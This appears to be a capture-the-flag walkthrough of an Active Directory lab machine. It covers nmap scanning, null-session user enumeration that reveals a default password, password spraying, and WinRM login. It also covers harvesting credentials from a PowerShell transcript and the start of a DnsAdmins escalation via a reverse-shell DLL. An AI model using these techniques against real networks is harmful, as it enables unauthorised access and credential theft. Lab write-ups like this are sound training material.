$ nmap -p- --min-rate 5000 10.129.85.209
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-05 03:38 EDT
Nmap scan report for 10.129.85.209
Host is up (0.015s latency).
Not shown: 65512 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49684/tcp open unknown
49733/tcp open unknown
User List + ASREP-Roast
Using enum4linux and null credentials, we can find a list of users and an interesting description:
$ enum4linux -u '' -p '' -a 10.129.85.209 # truncated output
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
Administrator
Guest
krbtgt
DefaultAccount
ryan
marko
sunita
abigail
marcus
sally
fred
angela
felicia
gustavo
ulf
stevie
claire
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki
We have a password lf Welcome123! and a username list, so password spraying with crackmapexec is next.
We have a user melanie who has the weak password. We can login as this user using evil-winrm.
Grab the user flag.
Privilege Escalation
PSTranscripts
Within the C:\ directory, there are some hidden directories:
*Evil-WinRM* PS C:\> ls -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 5/5/2023 12:55 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 5/5/2023 12:43 AM 402653184 pagefile.sys
*Evil-WinRM* PS C:\PSTranscripts> ls -force
Directory: C:\PSTranscripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--h-- 12/3/2019 6:45 AM 20191203
Within this file, there is a PowerShell transcript, which contains credentials.
*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
<TRUNACTED>
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
With these credentials, we can login as ryan.
DNS Admin
As ryan, we are part of the Contractors and FnsAdmins group:
*Evil-WinRM* PS C:\Users\ryan\desktop> whoami /all
USER INFORMATION
----------------
User Name SID
============= ==============================================
megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Also, there's a note within the desktop:
*Evil-WinRM* PS C:\Users\ryan\desktop> cat note.txt
Email to team:
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
This means that we have control over DNS and can change the DLL file with a reverse shell. We should also be able to start and stop the service.
We can use this guide to get a SYSTEM shell.
First, let's create a reverse shell DLL file via msfvenom. Afterwards, we need to host it using smbserver.py.
